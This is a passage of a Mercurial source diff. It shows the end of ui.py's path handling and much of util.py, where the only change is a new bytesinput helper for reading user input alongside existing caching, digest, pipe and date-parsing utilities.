1730 1722 self.branch = branch
1731 1723
1732 1724 self.name = name
1733 1725 self.rawloc = rawloc
1734 1726 self.loc = '%s' % u
1735 1727
1736 1728 # When given a raw location but not a symbolic name, validate the
1737 1729 # location is valid.
1738 1730 if not name and not u.scheme and not self._isvalidlocalpath(self.loc):
1739 1731 raise ValueError('location is not a URL or path to a local '
1740 1732 'repo: %s' % rawloc)
1741 1733
1742 1734 suboptions = suboptions or {}
1743 1735
1744 1736 # Now process the sub-options. If a sub-option is registered, its
1745 1737 # attribute will always be present. The value will be None if there
1746 1738 # was no valid sub-option.
1747 1739 for suboption, (attr, func) in _pathsuboptions.iteritems():
1748 1740 if suboption not in suboptions:
1749 1741 setattr(self, attr, None)
1750 1742 continue
1751 1743
1752 1744 value = func(ui, self, suboptions[suboption])
1753 1745 setattr(self, attr, value)
1754 1746
1755 1747 def _isvalidlocalpath(self, path):
1756 1748 """Returns True if the given path is a potentially valid repository.
1757 1749 This is its own function so that extensions can change the definition of
1758 1750 'valid' in this case (like when pulling from a git repo into a hg
1759 1751 one)."""
1760 1752 return os.path.isdir(os.path.join(path, '.hg'))
1761 1753
1762 1754 @property
1763 1755 def suboptions(self):
1764 1756 """Return sub-options and their values for this path.
1765 1757
1766 1758 This is intended to be used for presentation purposes.
1767 1759 """
1768 1760 d = {}
1769 1761 for subopt, (attr, _func) in _pathsuboptions.iteritems():
1770 1762 value = getattr(self, attr)
1771 1763 if value is not None:
1772 1764 d[subopt] = value
1773 1765 return d
1774 1766
1775 1767 # we instantiate one globally shared progress bar to avoid
1776 1768 # competing progress bars when multiple UI objects get created
1777 1769 _progresssingleton = None
1778 1770
1779 1771 def getprogbar(ui):
1780 1772 global _progresssingleton
1781 1773 if _progresssingleton is None:
1782 1774 # passing 'ui' object to the singleton is fishy,
1783 1775 # this is how the extension used to work but feel free to rework it.
1784 1776 _progresssingleton = progress.progbar(ui)
1785 1777 return _progresssingleton
@@ -1,3765 +1,3777 b''
1 1 # util.py - Mercurial utility functions and platform specific implementations
2 2 #
3 3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 6 #
7 7 # This software may be used and distributed according to the terms of the
8 8 # GNU General Public License version 2 or any later version.
9 9
10 10 """Mercurial utility functions and platform specific implementations.
11 11
12 12 This contains helper routines that are independent of the SCM core and
13 13 hide platform-specific details from the core.
14 14 """
15 15
16 16 from __future__ import absolute_import
17 17
18 18 import abc
19 19 import bz2
20 20 import calendar
21 21 import codecs
22 22 import collections
23 23 import contextlib
24 24 import datetime
25 25 import errno
26 26 import gc
27 27 import hashlib
28 28 import imp
29 29 import os
30 30 import platform as pyplatform
31 31 import re as remod
32 32 import shutil
33 33 import signal
34 34 import socket
35 35 import stat
36 36 import string
37 37 import subprocess
38 38 import sys
39 39 import tempfile
40 40 import textwrap
41 41 import time
42 42 import traceback
43 43 import warnings
44 44 import zlib
45 45
46 46 from . import (
47 47 encoding,
48 48 error,
49 49 i18n,
50 50 policy,
51 51 pycompat,
52 52 )
53 53
54 54 base85 = policy.importmod(r'base85')
55 55 osutil = policy.importmod(r'osutil')
56 56 parsers = policy.importmod(r'parsers')
57 57
58 58 b85decode = base85.b85decode
59 59 b85encode = base85.b85encode
60 60
61 61 cookielib = pycompat.cookielib
62 62 empty = pycompat.empty
63 63 httplib = pycompat.httplib
64 64 httpserver = pycompat.httpserver
65 65 pickle = pycompat.pickle
66 66 queue = pycompat.queue
67 67 socketserver = pycompat.socketserver
68 68 stderr = pycompat.stderr
69 69 stdin = pycompat.stdin
70 70 stdout = pycompat.stdout
71 71 stringio = pycompat.stringio
72 72 urlerr = pycompat.urlerr
73 73 urlreq = pycompat.urlreq
74 74 xmlrpclib = pycompat.xmlrpclib
75 75
76 76 # workaround for win32mbcs
77 77 _filenamebytestr = pycompat.bytestr
78 78
79 79 def isatty(fp):
80 80 try:
81 81 return fp.isatty()
82 82 except AttributeError:
83 83 return False
84 84
85 85 # glibc determines buffering on first write to stdout - if we replace a TTY
86 86 # destined stdout with a pipe destined stdout (e.g. pager), we want line
87 87 # buffering
88 88 if isatty(stdout):
89 89 stdout = os.fdopen(stdout.fileno(), pycompat.sysstr('wb'), 1)
90 90
91 91 if pycompat.osname == 'nt':
92 92 from . import windows as platform
93 93 stdout = platform.winstdout(stdout)
94 94 else:
95 95 from . import posix as platform
96 96
97 97 _ = i18n._
98 98
99 99 bindunixsocket = platform.bindunixsocket
100 100 cachestat = platform.cachestat
101 101 checkexec = platform.checkexec
102 102 checklink = platform.checklink
103 103 copymode = platform.copymode
104 104 executablepath = platform.executablepath
105 105 expandglobs = platform.expandglobs
106 106 explainexit = platform.explainexit
107 107 findexe = platform.findexe
108 108 gethgcmd = platform.gethgcmd
109 109 getuser = platform.getuser
110 110 getpid = os.getpid
111 111 groupmembers = platform.groupmembers
112 112 groupname = platform.groupname
113 113 hidewindow = platform.hidewindow
114 114 isexec = platform.isexec
115 115 isowner = platform.isowner
116 116 listdir = osutil.listdir
117 117 localpath = platform.localpath
118 118 lookupreg = platform.lookupreg
119 119 makedir = platform.makedir
120 120 nlinks = platform.nlinks
121 121 normpath = platform.normpath
122 122 normcase = platform.normcase
123 123 normcasespec = platform.normcasespec
124 124 normcasefallback = platform.normcasefallback
125 125 openhardlinks = platform.openhardlinks
126 126 oslink = platform.oslink
127 127 parsepatchoutput = platform.parsepatchoutput
128 128 pconvert = platform.pconvert
129 129 poll = platform.poll
130 130 popen = platform.popen
131 131 posixfile = platform.posixfile
132 132 quotecommand = platform.quotecommand
133 133 readpipe = platform.readpipe
134 134 rename = platform.rename
135 135 removedirs = platform.removedirs
136 136 samedevice = platform.samedevice
137 137 samefile = platform.samefile
138 138 samestat = platform.samestat
139 139 setbinary = platform.setbinary
140 140 setflags = platform.setflags
141 141 setsignalhandler = platform.setsignalhandler
142 142 shellquote = platform.shellquote
143 143 spawndetached = platform.spawndetached
144 144 split = platform.split
145 145 sshargs = platform.sshargs
146 146 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
147 147 statisexec = platform.statisexec
148 148 statislink = platform.statislink
149 149 testpid = platform.testpid
150 150 umask = platform.umask
151 151 unlink = platform.unlink
152 152 username = platform.username
153 153
154 154 try:
155 155 recvfds = osutil.recvfds
156 156 except AttributeError:
157 157 pass
158 158 try:
159 159 setprocname = osutil.setprocname
160 160 except AttributeError:
161 161 pass
162 162
163 163 # Python compatibility
164 164
165 165 _notset = object()
166 166
167 167 # disable Python's problematic floating point timestamps (issue4836)
168 168 # (Python hypocritically says you shouldn't change this behavior in
169 169 # libraries, and sure enough Mercurial is not a library.)
170 170 os.stat_float_times(False)
171 171
172 172 def safehasattr(thing, attr):
173 173 return getattr(thing, attr, _notset) is not _notset
174 174
175 def bytesinput(fin, fout, *args, **kwargs):
176 sin, sout = sys.stdin, sys.stdout
177 try:
178 if pycompat.ispy3:
179 sys.stdin, sys.stdout = encoding.strio(fin), encoding.strio(fout)
180 return encoding.strtolocal(input(*args, **kwargs))
181 else:
182 sys.stdin, sys.stdout = fin, fout
183 return raw_input(*args, **kwargs)
184 finally:
185 sys.stdin, sys.stdout = sin, sout
186
175 187 def bitsfrom(container):
176 188 bits = 0
177 189 for bit in container:
178 190 bits |= bit
179 191 return bits
180 192
181 193 # python 2.6 still have deprecation warning enabled by default. We do not want
182 194 # to display anything to standard user so detect if we are running test and
183 195 # only use python deprecation warning in this case.
184 196 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
185 197 if _dowarn:
186 198 # explicitly unfilter our warning for python 2.7
187 199 #
188 200 # The option of setting PYTHONWARNINGS in the test runner was investigated.
189 201 # However, module name set through PYTHONWARNINGS was exactly matched, so
190 202 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
191 203 # makes the whole PYTHONWARNINGS thing useless for our usecase.
192 204 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
193 205 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
194 206 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
195 207
196 208 def nouideprecwarn(msg, version, stacklevel=1):
197 209 """Issue an python native deprecation warning
198 210
199 211 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
200 212 """
201 213 if _dowarn:
202 214 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
203 215 " update your code.)") % version
204 216 warnings.warn(msg, DeprecationWarning, stacklevel + 1)
205 217
206 218 DIGESTS = {
207 219 'md5': hashlib.md5,
208 220 'sha1': hashlib.sha1,
209 221 'sha512': hashlib.sha512,
210 222 }
211 223 # List of digest types from strongest to weakest
212 224 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
213 225
214 226 for k in DIGESTS_BY_STRENGTH:
215 227 assert k in DIGESTS
216 228
217 229 class digester(object):
218 230 """helper to compute digests.
219 231
220 232 This helper can be used to compute one or more digests given their name.
221 233
222 234 >>> d = digester(['md5', 'sha1'])
223 235 >>> d.update('foo')
224 236 >>> [k for k in sorted(d)]
225 237 ['md5', 'sha1']
226 238 >>> d['md5']
227 239 'acbd18db4cc2f85cedef654fccc4a4d8'
228 240 >>> d['sha1']
229 241 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
230 242 >>> digester.preferred(['md5', 'sha1'])
231 243 'sha1'
232 244 """
233 245
234 246 def __init__(self, digests, s=''):
235 247 self._hashes = {}
236 248 for k in digests:
237 249 if k not in DIGESTS:
238 250 raise Abort(_('unknown digest type: %s') % k)
239 251 self._hashes[k] = DIGESTS[k]()
240 252 if s:
241 253 self.update(s)
242 254
243 255 def update(self, data):
244 256 for h in self._hashes.values():
245 257 h.update(data)
246 258
247 259 def __getitem__(self, key):
248 260 if key not in DIGESTS:
249 261 raise Abort(_('unknown digest type: %s') % k)
250 262 return self._hashes[key].hexdigest()
251 263
252 264 def __iter__(self):
253 265 return iter(self._hashes)
254 266
255 267 @staticmethod
256 268 def preferred(supported):
257 269 """returns the strongest digest type in both supported and DIGESTS."""
258 270
259 271 for k in DIGESTS_BY_STRENGTH:
260 272 if k in supported:
261 273 return k
262 274 return None
263 275
264 276 class digestchecker(object):
265 277 """file handle wrapper that additionally checks content against a given
266 278 size and digests.
267 279
268 280 d = digestchecker(fh, size, {'md5': '...'})
269 281
270 282 When multiple digests are given, all of them are validated.
271 283 """
272 284
273 285 def __init__(self, fh, size, digests):
274 286 self._fh = fh
275 287 self._size = size
276 288 self._got = 0
277 289 self._digests = dict(digests)
278 290 self._digester = digester(self._digests.keys())
279 291
280 292 def read(self, length=-1):
281 293 content = self._fh.read(length)
282 294 self._digester.update(content)
283 295 self._got += len(content)
284 296 return content
285 297
286 298 def validate(self):
287 299 if self._size != self._got:
288 300 raise Abort(_('size mismatch: expected %d, got %d') %
289 301 (self._size, self._got))
290 302 for k, v in self._digests.items():
291 303 if v != self._digester[k]:
292 304 # i18n: first parameter is a digest name
293 305 raise Abort(_('%s mismatch: expected %s, got %s') %
294 306 (k, v, self._digester[k]))
295 307
296 308 try:
297 309 buffer = buffer
298 310 except NameError:
299 311 def buffer(sliceable, offset=0, length=None):
300 312 if length is not None:
301 313 return memoryview(sliceable)[offset:offset + length]
302 314 return memoryview(sliceable)[offset:]
303 315
304 316 closefds = pycompat.osname == 'posix'
305 317
306 318 _chunksize = 4096
307 319
308 320 class bufferedinputpipe(object):
309 321 """a manually buffered input pipe
310 322
311 323 Python will not let us use buffered IO and lazy reading with 'polling' at
312 324 the same time. We cannot probe the buffer state and select will not detect
313 325 that data are ready to read if they are already buffered.
314 326
315 327 This class let us work around that by implementing its own buffering
316 328 (allowing efficient readline) while offering a way to know if the buffer is
317 329 empty from the output (allowing collaboration of the buffer with polling).
318 330
319 331 This class lives in the 'util' module because it makes use of the 'os'
320 332 module from the python stdlib.
321 333 """
322 334
323 335 def __init__(self, input):
324 336 self._input = input
325 337 self._buffer = []
326 338 self._eof = False
327 339 self._lenbuf = 0
328 340
329 341 @property
330 342 def hasbuffer(self):
331 343 """True is any data is currently buffered
332 344
333 345 This will be used externally a pre-step for polling IO. If there is
334 346 already data then no polling should be set in place."""
335 347 return bool(self._buffer)
336 348
337 349 @property
338 350 def closed(self):
339 351 return self._input.closed
340 352
341 353 def fileno(self):
342 354 return self._input.fileno()
343 355
344 356 def close(self):
345 357 return self._input.close()
346 358
347 359 def read(self, size):
348 360 while (not self._eof) and (self._lenbuf < size):
349 361 self._fillbuffer()
350 362 return self._frombuffer(size)
351 363
352 364 def readline(self, *args, **kwargs):
353 365 if 1 < len(self._buffer):
354 366 # this should not happen because both read and readline end with a
355 367 # _frombuffer call that collapse it.
356 368 self._buffer = [''.join(self._buffer)]
357 369 self._lenbuf = len(self._buffer[0])
358 370 lfi = -1
359 371 if self._buffer:
360 372 lfi = self._buffer[-1].find('\n')
361 373 while (not self._eof) and lfi < 0:
362 374 self._fillbuffer()
363 375 if self._buffer:
364 376 lfi = self._buffer[-1].find('\n')
365 377 size = lfi + 1
366 378 if lfi < 0: # end of file
367 379 size = self._lenbuf
368 380 elif 1 < len(self._buffer):
369 381 # we need to take previous chunks into account
370 382 size += self._lenbuf - len(self._buffer[-1])
371 383 return self._frombuffer(size)
372 384
373 385 def _frombuffer(self, size):
374 386 """return at most 'size' data from the buffer
375 387
376 388 The data are removed from the buffer."""
377 389 if size == 0 or not self._buffer:
378 390 return ''
379 391 buf = self._buffer[0]
380 392 if 1 < len(self._buffer):
381 393 buf = ''.join(self._buffer)
382 394
383 395 data = buf[:size]
384 396 buf = buf[len(data):]
385 397 if buf:
386 398 self._buffer = [buf]
387 399 self._lenbuf = len(buf)
388 400 else:
389 401 self._buffer = []
390 402 self._lenbuf = 0
391 403 return data
392 404
393 405 def _fillbuffer(self):
394 406 """read data to the buffer"""
395 407 data = os.read(self._input.fileno(), _chunksize)
396 408 if not data:
397 409 self._eof = True
398 410 else:
399 411 self._lenbuf += len(data)
400 412 self._buffer.append(data)
401 413
402 414 def popen2(cmd, env=None, newlines=False):
403 415 # Setting bufsize to -1 lets the system decide the buffer size.
404 416 # The default for bufsize is 0, meaning unbuffered. This leads to
405 417 # poor performance on Mac OS X: http://bugs.python.org/issue4194
406 418 p = subprocess.Popen(cmd, shell=True, bufsize=-1,
407 419 close_fds=closefds,
408 420 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
409 421 universal_newlines=newlines,
410 422 env=env)
411 423 return p.stdin, p.stdout
412 424
413 425 def popen3(cmd, env=None, newlines=False):
414 426 stdin, stdout, stderr, p = popen4(cmd, env, newlines)
415 427 return stdin, stdout, stderr
416 428
417 429 def popen4(cmd, env=None, newlines=False, bufsize=-1):
418 430 p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
419 431 close_fds=closefds,
420 432 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
421 433 stderr=subprocess.PIPE,
422 434 universal_newlines=newlines,
423 435 env=env)
424 436 return p.stdin, p.stdout, p.stderr, p
425 437
426 438 def version():
427 439 """Return version information if available."""
428 440 try:
429 441 from . import __version__
430 442 return __version__.version
431 443 except ImportError:
432 444 return 'unknown'
433 445
434 446 def versiontuple(v=None, n=4):
435 447 """Parses a Mercurial version string into an N-tuple.
436 448
437 449 The version string to be parsed is specified with the ``v`` argument.
438 450 If it isn't defined, the current Mercurial version string will be parsed.
439 451
440 452 ``n`` can be 2, 3, or 4. Here is how some version strings map to
441 453 returned values:
442 454
443 455 >>> v = '3.6.1+190-df9b73d2d444'
444 456 >>> versiontuple(v, 2)
445 457 (3, 6)
446 458 >>> versiontuple(v, 3)
447 459 (3, 6, 1)
448 460 >>> versiontuple(v, 4)
449 461 (3, 6, 1, '190-df9b73d2d444')
450 462
451 463 >>> versiontuple('3.6.1+190-df9b73d2d444+20151118')
452 464 (3, 6, 1, '190-df9b73d2d444+20151118')
453 465
454 466 >>> v = '3.6'
455 467 >>> versiontuple(v, 2)
456 468 (3, 6)
457 469 >>> versiontuple(v, 3)
458 470 (3, 6, None)
459 471 >>> versiontuple(v, 4)
460 472 (3, 6, None, None)
461 473
462 474 >>> v = '3.9-rc'
463 475 >>> versiontuple(v, 2)
464 476 (3, 9)
465 477 >>> versiontuple(v, 3)
466 478 (3, 9, None)
467 479 >>> versiontuple(v, 4)
468 480 (3, 9, None, 'rc')
469 481
470 482 >>> v = '3.9-rc+2-02a8fea4289b'
471 483 >>> versiontuple(v, 2)
472 484 (3, 9)
473 485 >>> versiontuple(v, 3)
474 486 (3, 9, None)
475 487 >>> versiontuple(v, 4)
476 488 (3, 9, None, 'rc+2-02a8fea4289b')
477 489 """
478 490 if not v:
479 491 v = version()
480 492 parts = remod.split('[\+-]', v, 1)
481 493 if len(parts) == 1:
482 494 vparts, extra = parts[0], None
483 495 else:
484 496 vparts, extra = parts
485 497
486 498 vints = []
487 499 for i in vparts.split('.'):
488 500 try:
489 501 vints.append(int(i))
490 502 except ValueError:
491 503 break
492 504 # (3, 6) -> (3, 6, None)
493 505 while len(vints) < 3:
494 506 vints.append(None)
495 507
496 508 if n == 2:
497 509 return (vints[0], vints[1])
498 510 if n == 3:
499 511 return (vints[0], vints[1], vints[2])
500 512 if n == 4:
501 513 return (vints[0], vints[1], vints[2], extra)
502 514
503 515 # used by parsedate
504 516 defaultdateformats = (
505 517 '%Y-%m-%dT%H:%M:%S', # the 'real' ISO8601
506 518 '%Y-%m-%dT%H:%M', # without seconds
507 519 '%Y-%m-%dT%H%M%S', # another awful but legal variant without :
508 520 '%Y-%m-%dT%H%M', # without seconds
509 521 '%Y-%m-%d %H:%M:%S', # our common legal variant
510 522 '%Y-%m-%d %H:%M', # without seconds
511 523 '%Y-%m-%d %H%M%S', # without :
512 524 '%Y-%m-%d %H%M', # without seconds
513 525 '%Y-%m-%d %I:%M:%S%p',
514 526 '%Y-%m-%d %H:%M',
515 527 '%Y-%m-%d %I:%M%p',
516 528 '%Y-%m-%d',
517 529 '%m-%d',
518 530 '%m/%d',
519 531 '%m/%d/%y',
520 532 '%m/%d/%Y',
521 533 '%a %b %d %H:%M:%S %Y',
522 534 '%a %b %d %I:%M:%S%p %Y',
523 535 '%a, %d %b %Y %H:%M:%S', # GNU coreutils "/bin/date --rfc-2822"
524 536 '%b %d %H:%M:%S %Y',
525 537 '%b %d %I:%M:%S%p %Y',
526 538 '%b %d %H:%M:%S',
527 539 '%b %d %I:%M:%S%p',
528 540 '%b %d %H:%M',
529 541 '%b %d %I:%M%p',
530 542 '%b %d %Y',
531 543 '%b %d',
532 544 '%H:%M:%S',
533 545 '%I:%M:%S%p',
534 546 '%H:%M',
535 547 '%I:%M%p',
536 548 )
537 549
538 550 extendeddateformats = defaultdateformats + (
539 551 "%Y",
540 552 "%Y-%m",
541 553 "%b",
542 554 "%b %Y",
543 555 )
544 556
545 557 def cachefunc(func):
546 558 '''cache the result of function calls'''
547 559 # XXX doesn't handle keywords args
548 560 if func.__code__.co_argcount == 0:
549 561 cache = []
550 562 def f():
551 563 if len(cache) == 0:
552 564 cache.append(func())
553 565 return cache[0]
554 566 return f
555 567 cache = {}
556 568 if func.__code__.co_argcount == 1:
557 569 # we gain a small amount of time because
558 570 # we don't need to pack/unpack the list
559 571 def f(arg):
560 572 if arg not in cache:
561 573 cache[arg] = func(arg)
562 574 return cache[arg]
563 575 else:
564 576 def f(*args):
565 577 if args not in cache:
566 578 cache[args] = func(*args)
567 579 return cache[args]
568 580
569 581 return f
570 582
571 583 class sortdict(collections.OrderedDict):
572 584 '''a simple sorted dictionary
573 585
574 586 >>> d1 = sortdict([('a', 0), ('b', 1)])
575 587 >>> d2 = d1.copy()
576 588 >>> d2
577 589 sortdict([('a', 0), ('b', 1)])
578 590 >>> d2.update([('a', 2)])
579 591 >>> d2.keys() # should still be in last-set order
580 592 ['b', 'a']
581 593 '''
582 594
583 595 def __setitem__(self, key, value):
584 596 if key in self:
585 597 del self[key]
586 598 super(sortdict, self).__setitem__(key, value)
587 599
588 600 if pycompat.ispypy:
589 601 # __setitem__() isn't called as of PyPy 5.8.0
590 602 def update(self, src):
591 603 if isinstance(src, dict):
592 604 src = src.iteritems()
593 605 for k, v in src:
594 606 self[k] = v
595 607
596 608 class transactional(object):
597 609 """Base class for making a transactional type into a context manager."""
598 610 __metaclass__ = abc.ABCMeta
599 611
600 612 @abc.abstractmethod
601 613 def close(self):
602 614 """Successfully closes the transaction."""
603 615
604 616 @abc.abstractmethod
605 617 def release(self):
606 618 """Marks the end of the transaction.
607 619
608 620 If the transaction has not been closed, it will be aborted.
609 621 """
610 622
611 623 def __enter__(self):
612 624 return self
613 625
614 626 def __exit__(self, exc_type, exc_val, exc_tb):
615 627 try:
616 628 if exc_type is None:
617 629 self.close()
618 630 finally:
619 631 self.release()
620 632
621 633 @contextlib.contextmanager
622 634 def acceptintervention(tr=None):
623 635 """A context manager that closes the transaction on InterventionRequired
624 636
625 637 If no transaction was provided, this simply runs the body and returns
626 638 """
627 639 if not tr:
628 640 yield
629 641 return
630 642 try:
631 643 yield
632 644 tr.close()
633 645 except error.InterventionRequired:
634 646 tr.close()
635 647 raise
636 648 finally:
637 649 tr.release()
638 650
639 651 @contextlib.contextmanager
640 652 def nullcontextmanager():
641 653 yield
642 654
643 655 class _lrucachenode(object):
644 656 """A node in a doubly linked list.
645 657
646 658 Holds a reference to nodes on either side as well as a key-value
647 659 pair for the dictionary entry.
648 660 """
649 661 __slots__ = (u'next', u'prev', u'key', u'value')
650 662
651 663 def __init__(self):
652 664 self.next = None
653 665 self.prev = None
654 666
655 667 self.key = _notset
656 668 self.value = None
657 669
658 670 def markempty(self):
659 671 """Mark the node as emptied."""
660 672 self.key = _notset
661 673
662 674 class lrucachedict(object):
663 675 """Dict that caches most recent accesses and sets.
664 676
665 677 The dict consists of an actual backing dict - indexed by original
666 678 key - and a doubly linked circular list defining the order of entries in
667 679 the cache.
668 680
669 681 The head node is the newest entry in the cache. If the cache is full,
670 682 we recycle head.prev and make it the new head. Cache accesses result in
671 683 the node being moved to before the existing head and being marked as the
672 684 new head node.
673 685 """
674 686 def __init__(self, max):
675 687 self._cache = {}
676 688
677 689 self._head = head = _lrucachenode()
678 690 head.prev = head
679 691 head.next = head
680 692 self._size = 1
681 693 self._capacity = max
682 694
683 695 def __len__(self):
684 696 return len(self._cache)
685 697
686 698 def __contains__(self, k):
687 699 return k in self._cache
688 700
689 701 def __iter__(self):
690 702 # We don't have to iterate in cache order, but why not.
691 703 n = self._head
692 704 for i in range(len(self._cache)):
693 705 yield n.key
694 706 n = n.next
695 707
696 708 def __getitem__(self, k):
697 709 node = self._cache[k]
698 710 self._movetohead(node)
699 711 return node.value
700 712
701 713 def __setitem__(self, k, v):
702 714 node = self._cache.get(k)
703 715 # Replace existing value and mark as newest.
704 716 if node is not None:
705 717 node.value = v
706 718 self._movetohead(node)
707 719 return
708 720
709 721 if self._size < self._capacity:
710 722 node = self._addcapacity()
711 723 else:
712 724 # Grab the last/oldest item.
713 725 node = self._head.prev
714 726
715 727 # At capacity. Kill the old entry.
716 728 if node.key is not _notset:
717 729 del self._cache[node.key]
718 730
719 731 node.key = k
720 732 node.value = v
721 733 self._cache[k] = node
722 734 # And mark it as newest entry. No need to adjust order since it
723 735 # is already self._head.prev.
724 736 self._head = node
725 737
726 738 def __delitem__(self, k):
727 739 node = self._cache.pop(k)
728 740 node.markempty()
729 741
730 742 # Temporarily mark as newest item before re-adjusting head to make
731 743 # this node the oldest item.
732 744 self._movetohead(node)
733 745 self._head = node.next
734 746
735 747 # Additional dict methods.
736 748
737 749 def get(self, k, default=None):
738 750 try:
739 751 return self._cache[k].value
740 752 except KeyError:
741 753 return default
742 754
743 755 def clear(self):
744 756 n = self._head
745 757 while n.key is not _notset:
746 758 n.markempty()
747 759 n = n.next
748 760
749 761 self._cache.clear()
750 762
751 763 def copy(self):
752 764 result = lrucachedict(self._capacity)
753 765 n = self._head.prev
754 766 # Iterate in oldest-to-newest order, so the copy has the right ordering
755 767 for i in range(len(self._cache)):
756 768 result[n.key] = n.value
757 769 n = n.prev
758 770 return result
759 771
760 772 def _movetohead(self, node):
761 773 """Mark a node as the newest, making it the new head.
762 774
763 775 When a node is accessed, it becomes the freshest entry in the LRU
764 776 list, which is denoted by self._head.
765 777
766 778 Visually, let's make ``N`` the new head node (* denotes head):
767 779
768 780 previous/oldest <-> head <-> next/next newest
769 781
770 782 ----<->--- A* ---<->-----
771 783 | |
772 784 E <-> D <-> N <-> C <-> B
773 785
774 786 To:
775 787
776 788 ----<->--- N* ---<->-----
777 789 | |
778 790 E <-> D <-> C <-> B <-> A
779 791
780 792 This requires the following moves:
781 793
782 794 C.next = D (node.prev.next = node.next)
783 795 D.prev = C (node.next.prev = node.prev)
784 796 E.next = N (head.prev.next = node)
785 797 N.prev = E (node.prev = head.prev)
786 798 N.next = A (node.next = head)
787 799 A.prev = N (head.prev = node)
788 800 """
789 801 head = self._head
790 802 # C.next = D
791 803 node.prev.next = node.next
792 804 # D.prev = C
793 805 node.next.prev = node.prev
794 806 # N.prev = E
795 807 node.prev = head.prev
796 808 # N.next = A
797 809 # It is tempting to do just "head" here, however if node is
798 810 # adjacent to head, this will do bad things.
799 811 node.next = head.prev.next
800 812 # E.next = N
801 813 node.next.prev = node
802 814 # A.prev = N
803 815 node.prev.next = node
804 816
805 817 self._head = node
806 818
807 819 def _addcapacity(self):
808 820 """Add a node to the circular linked list.
809 821
810 822 The new node is inserted before the head node.
811 823 """
812 824 head = self._head
813 825 node = _lrucachenode()
814 826 head.prev.next = node
815 827 node.prev = head.prev
816 828 node.next = head
817 829 head.prev = node
818 830 self._size += 1
819 831 return node
820 832
821 833 def lrucachefunc(func):
822 834 '''cache most recent results of function calls'''
823 835 cache = {}
824 836 order = collections.deque()
825 837 if func.__code__.co_argcount == 1:
826 838 def f(arg):
827 839 if arg not in cache:
828 840 if len(cache) > 20:
829 841 del cache[order.popleft()]
830 842 cache[arg] = func(arg)
831 843 else:
832 844 order.remove(arg)
833 845 order.append(arg)
834 846 return cache[arg]
835 847 else:
836 848 def f(*args):
837 849 if args not in cache:
838 850 if len(cache) > 20:
839 851 del cache[order.popleft()]
840 852 cache[args] = func(*args)
841 853 else:
842 854 order.remove(args)
843 855 order.append(args)
844 856 return cache[args]
845 857
846 858 return f
847 859
848 860 class propertycache(object):
849 861 def __init__(self, func):
850 862 self.func = func
851 863 self.name = func.__name__
852 864 def __get__(self, obj, type=None):
853 865 result = self.func(obj)
854 866 self.cachevalue(obj, result)
855 867 return result
856 868
857 869 def cachevalue(self, obj, value):
858 870 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
859 871 obj.__dict__[self.name] = value
860 872
861 873 def pipefilter(s, cmd):
862 874 '''filter string S through command CMD, returning its output'''
863 875 p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
864 876 stdin=subprocess.PIPE, stdout=subprocess.PIPE)
865 877 pout, perr = p.communicate(s)
866 878 return pout
867 879
868 880 def tempfilter(s, cmd):
869 881 '''filter string S through a pair of temporary files with CMD.
870 882 CMD is used as a template to create the real command to be run,
871 883 with the strings INFILE and OUTFILE replaced by the real names of
872 884 the temporary files generated.'''
873 885 inname, outname = None, None
874 886 try:
875 887 infd, inname = tempfile.mkstemp(prefix='hg-filter-in-')
876 888 fp = os.fdopen(infd, pycompat.sysstr('wb'))
877 889 fp.write(s)
878 890 fp.close()
879 891 outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-')
880 892 os.close(outfd)
881 893 cmd = cmd.replace('INFILE', inname)
882 894 cmd = cmd.replace('OUTFILE', outname)
883 895 code = os.system(cmd)
884 896 if pycompat.sysplatform == 'OpenVMS' and code & 1:
885 897 code = 0
886 898 if code:
887 899 raise Abort(_("command '%s' failed: %s") %
888 900 (cmd, explainexit(code)))
889 901 return readfile(outname)
890 902 finally:
891 903 try:
892 904 if inname:
893 905 os.unlink(inname)
894 906 except OSError:
895 907 pass
896 908 try:
897 909 if outname:
898 910 os.unlink(outname)
899 911 except OSError:
900 912 pass
901 913
902 914 filtertable = {
903 915 'tempfile:': tempfilter,
904 916 'pipe:': pipefilter,
905 917 }
906 918
907 919 def filter(s, cmd):
908 920 "filter a string through a command that transforms its input to its output"
909 921 for name, fn in filtertable.iteritems():
910 922 if cmd.startswith(name):
911 923 return fn(s, cmd[len(name):].lstrip())
912 924 return pipefilter(s, cmd)
913 925
914 926 def binary(s):
915 927 """return true if a string is binary data"""
916 928 return bool(s and '\0' in s)
917 929
918 930 def increasingchunks(source, min=1024, max=65536):
919 931 '''return no less than min bytes per chunk while data remains,
920 932 doubling min after each chunk until it reaches max'''
921 933 def log2(x):
922 934 if not x:
923 935 return 0
924 936 i = 0
925 937 while x:
926 938 x >>= 1
927 939 i += 1
928 940 return i - 1
929 941
930 942 buf = []
931 943 blen = 0
932 944 for chunk in source:
933 945 buf.append(chunk)
934 946 blen += len(chunk)
935 947 if blen >= min:
936 948 if min < max:
937 949 min = min << 1
938 950 nmin = 1 << log2(blen)
939 951 if nmin > min:
940 952 min = nmin
941 953 if min > max:
942 954 min = max
943 955 yield ''.join(buf)
944 956 blen = 0
945 957 buf = []
946 958 if buf:
947 959 yield ''.join(buf)
948 960
949 961 Abort = error.Abort
950 962
951 963 def always(fn):
952 964 return True
953 965
954 966 def never(fn):
955 967 return False
956 968
957 969 def nogc(func):
958 970 """disable garbage collector
959 971
960 972 Python's garbage collector triggers a GC each time a certain number of
961 973 container objects (the number being defined by gc.get_threshold()) are
962 974 allocated even when marked not to be tracked by the collector. Tracking has
963 975 no effect on when GCs are triggered, only on what objects the GC looks
964 976 into. As a workaround, disable GC while building complex (huge)
965 977 containers.
966 978
